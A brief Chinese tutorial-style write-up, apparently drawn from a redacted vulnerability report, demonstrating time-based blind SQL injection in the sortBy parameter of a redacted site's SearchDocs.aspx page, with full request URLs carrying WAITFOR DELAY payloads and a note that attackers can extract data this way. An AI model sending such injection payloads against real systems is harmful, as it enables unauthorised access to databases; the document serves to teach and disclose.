在Web应用渗透测试中,基于时间的盲注(Time-based Blind SQL Injection)是一种常见的漏洞检测手法。其核心原理是通过在数据库查询中插入特定的延时函数(如WAITFOR DELAY),观察服务器响应时间是否显著增加,从而判断注入点是否有效。下面通过一个具体的实战案例来演示这一过程。
无延时请求示例
首先,我们观察一个正常的(或无延时Payload的)请求。此请求会立即返回结果。
请求URL:
https://███████/app/SearchDocs.aspx?doctypes=19&filename=*&sdate=&edate=&content=&sortBy=1%20WAITFOR%20DELAY%20%270%3a0%3a0%27--%20udTV&sortOrder=&custom={%22customFields%22%3A[]}
sortBy参数解码后的具体Payload:
sortBy=1 WAITFOR DELAY '0:0:0'-- udTV&sortOrder=&custom={"customFields":[]}
有延迟请求示例
接下来,我们修改Payload,注入一个5秒的延时指令。
请求URL:
https://███/app/SearchDocs.aspx?doctypes=19&filename=*&sdate=&edate=&content=&sortBy=1%20WAITFOR%20DELAY%20%270%3a0%3a5%27--%20udTV&sortOrder=&custom={%22customFields%22%3A[]}
sortBy参数解码后的具体Payload:
sortBy=1 WAITFOR DELAY '0:0:5'-- udTV&sortOrder=&custom={"customFields":[]}
漏洞判定
发送第二个请求后,可以明显观察到服务器的响应被延迟了大约5秒。通过对比第一个请求(无延迟)和第二个请求(有5秒延迟)的响应时间差异,我们便可以证明目标 sortBy 参数存在基于时间的SQL盲注漏洞。攻击者可以利用此漏洞,通过精心构造的布尔逻辑与延时函数结合,逐位推断出数据库中的敏感信息。
参考链接
|